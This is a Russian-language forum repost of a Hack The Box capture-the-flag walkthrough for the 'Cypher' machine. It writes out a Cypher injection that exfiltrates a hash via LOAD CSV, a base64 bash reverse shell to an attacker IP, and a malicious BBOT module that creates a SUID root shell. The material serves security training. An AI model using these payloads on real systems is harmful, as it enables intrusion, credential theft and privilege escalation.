• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем Cypher Injection в Neo4j

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,332
Розыгрыши
0
Реакции
622
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как при помощи инъекции кода на языке Cypher можно атаковать графовую базу данных Neo4j и обойти авторизацию. Затем мы проведем инъекцию команд ОС и получим сессию на хосте, а собрав учетные данные, сменим пользовательскую сессию и повысим привилегии через регистрацию своего модуля для BBOT.
Наша цель — получение прав суперпользователя на машине Cypher с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.57 cypher.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 9.6p1;
  • 80 — веб‑сервер Nginx 1.24.0.
По отчету Nmap видно, что веб‑сервер выполняет редирект на сайт Для просмотра ссылки Войди или Зарегистрируйся. Там нас встретит сайт с графом и ссылкой на страницу авторизации.

Главная страница сайта
Главная страница сайта

Точка входа​

Я попробовал вставить в форму авторизации базовую нагрузку, которая бы помогла обойти авторизацию, если бы сработала инъекция admin' or 1=1 -- -. Однако получаем огромный текст ошибки.

Форма авторизации
Форма авторизации

Удобнее просмотреть текст в Burp History. Нам отображается часть запроса на языке Cypher, который используется на сервере.

Burp History
Burp History

Про Cypher-инъекции я уже писал в Для просмотра ссылки Войди или Зарегистрируйся. По запросу видно, что хеш пароля возвращается как значение h.value. Выполним инъекцию и эксфильтруем на свой веб‑сервер значение хеша. Сам сервер создаем командой python3 -m http.server.

admin' OR 1=1 LOAD CSV FROM '[URL='http://10.10.16.73:8000/?value=%27+h.value']http://10.10.16.73:8000/?value='+h.value[/URL] AS hash Return ''//
Запрос на сервер
Запрос на сервер
Логи веб-сервера
Логи веб‑сервера
Попытки пробрутить хеш ни к чему не привели, поэтому попытаемся найти еще что‑нибудь интересное.


Точка опоры​

Попробуем перебрать каталоги и файлы при помощи feroxbuster.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -d — глубина сканирования;
  • -t — количество потоков.
Задаем все параметры и запускаем перебор:

feroxbuster -u [URL]http://cypher.htb/[/URL] -w directory_2.3_medium_lowercase.txt -d 1 -t 128
Результат сканирования каталогов с помощью feroxbuster
Результат сканирования каталогов с помощью feroxbuster

Среди эндпоинтов есть интересные: /api и /testing. На первом всегда Not Found, а вот каталог /testing не имеет индекс‑файла, и поэтому мы получаем список файлов в каталоге.

Ответ сервера
Ответ сервера
Содержимое каталога testing
Содержимое каталога testing

Скачиваем с веб‑сервера jar-файл и декомпилируем его, например на сайте Для просмотра ссылки Войди или Зарегистрируйся. В файле CustomFunctions происходит выполнение команды curl в терминале, при этом в команде можно манипулировать переменной url, которая является параметром метода custom.getUrlStatusCode.

Декомпилированный код
Декомпилированный код

Попробуем вызвать этот метод через Cypher-инъекцию. Для этого в исходный запрос сначала вернем значение хеша, а затем через UNION CALL объединим ответ с результатом выполнения метода custom.getUrlStatusCode. В качестве параметра метода передаем реверс‑шелл, созданный при помощи Для просмотра ссылки Войди или Зарегистрируйся. Запускаем листенер (pwncat-cs -lp 4321) и отправляем запрос с нагрузкой на сервер.

admin' return h.value AS value UNION CALL custom.getUrlStatusCode("localhost;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43My80MzIxIDA+JjE= |base64 -d |bash;") YIELD statusCode AS value RETURN value ; //
В листенере мгновенно появляется сессия пользователя neo4j.

Сессия пользователя neo4j
Сессия пользователя neo4j

Продвижение​

Мы можем залогиниться на сервере от имени neo4j, но этот пользователь ограничен в правах. Нам нужно найти способ повысить привилегии в системе. Я, как обычно, буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение, запустим сканирование и посмотрим, что нашлось интересненького. Нам доступны файлы в домашнем каталоге пользователя graphasm.

Файлы в домашнем каталоге пользователя graphasm
Файлы в домашнем каталоге пользователя graphasm

В конфиге bbot_preset.yml находим учетные данные для neo4j.

Содержимое файла bbot_preset.yml
Содержимое файла bbot_preset.yml

С этим паролем авторизуемся по SSH от имени пользователя graphasm.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Заново проводить полную разведку после смены пользователя излишне, достаточно проверить только те вещи, которые могли измениться. Одна из них — это настройки sudoers. Там бывают перечислены разрешения запускать без рутового аккаунта некоторые команды, требующие режима суперпользователя.

sudo -l
Настройки sudoers
Настройки sudoers
Узнаём, что мы можем выполнить файл /usr/local/bin/bbot от имени пользователя root без ввода пароля. Файл представляет собой ссылку на Python-скрипт /opt/pipx/venvs/bbot/bin/bbot.

info​

BBOT — это автоматический разведбот для хакеров и безопасников, который сам находит цели, сканирует порты, собирает метаданные и передает их дальше по цепочке модулей.
Проверка файла
Проверка файла
Содержимое скрипта
Содержимое скрипта

При запуске приложения необходимо указать параметры. Обратим внимание на упоминание модулей в справке.

Запуск скрипта
Запуск скрипта
Справка help
Справка help
Я поискал информацию о том, что делают модули BBOT, и нашел Для просмотра ссылки Войди или Зарегистрируйся. Из нее выяснил, что мы можем написать свой модуль и подключить его к приложению, которое можно выполнить в привилегированном контексте. Наш модуль будет копировать файл командной оболочки и назначать ему S-бит.

Код:
from bbot.modules.base import BaseModule
import os

class whois(BaseModule):
    watched_events = ["DNS_NAME"] # Watch for DNS_NAME events
    produced_events = ["WHOIS"] # We produce WHOIS events
    flags = ["passive", "safe"]
    meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
    options = {"api_key": ""} # Module config options
    options_desc = {"api_key": "WhoisXMLAPI Key"}
    per_domain_only = True # Only run once per domain

    base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"

    # One-time setup — runs at the beginning of the scan
    async def setup(self):
        os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")
        self.api_key = self.config.get("api_key")
        if not self.api_key:
            # Soft-fail if no API key is set
            return None, "Must set API key"

    async def handle_event(self, event):
        self.hugesuccess(f"Got {event} (event.data: {event.data})")
        _, domain = self.helpers.split_domain(event.data)
        url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
        self.hugeinfo(f"Visiting {url}")
        response = await self.helpers.request(url)
        if response is not None:
            await self.emit_event(response.json(), "WHOIS", parent=event)

Помимо шаблона модуля, в справке есть и инструкция по его подключению.

Гайд для подключения модуля
Гайд для подключения модуля

Поместим в каталог /tmp сам модуль и создадим файл с настройками conf.yml, где укажем каталог модулей.

module_dirs:
- /tmp
Когда все будет готово, запустим BBOT с указанием конфига и имени модуля. Затем остановим работу приложения и проверим атрибуты скопированного файла командной оболочки /tmp/bash.

sudo /usr/local/bin/bbot -p ./conf.yml -m whois
Запуск приложения
Запуск приложения

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Так мы получаем сессию от имени пользователя root.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу